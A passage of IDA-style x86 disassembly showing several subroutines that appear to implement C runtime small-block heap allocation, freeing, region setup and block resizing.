		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DCFD4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DCFCC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DCFCC
		mov	eax, dword_4DCFD4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DCFD4
		mov	ecx, dword_4DCFCC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DCFD4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DCFD4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DCFD4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DCFD4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27E0000h
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DCFD4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DCFD8
		cmp	eax, dword_4DCFD4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DCFDC
		mov	dword_4DCFD0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DCFCC, edi
		mov	dword_4DCFD4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DCFD0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DCFD0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DCFD4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DCFCC
		jnz	short loc_41E4C7
		and	dword_4DCFD4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DCFD8
		mov	ecx, dword_4DCFC8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DCFDC
		push	edi
		push	dword_4DCFE4
		nop
		call	near ptr 2890000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DCFC8, 10h
		mov	dword_4DCFDC, eax
		mov	eax, dword_4DCFD8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DCFDC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DCFE4
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27F0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		call	near ptr 28E0772h
		nop
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DCFE4
		nop
		call	near ptr 27E0000h


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DCFD8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 28E0772h
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
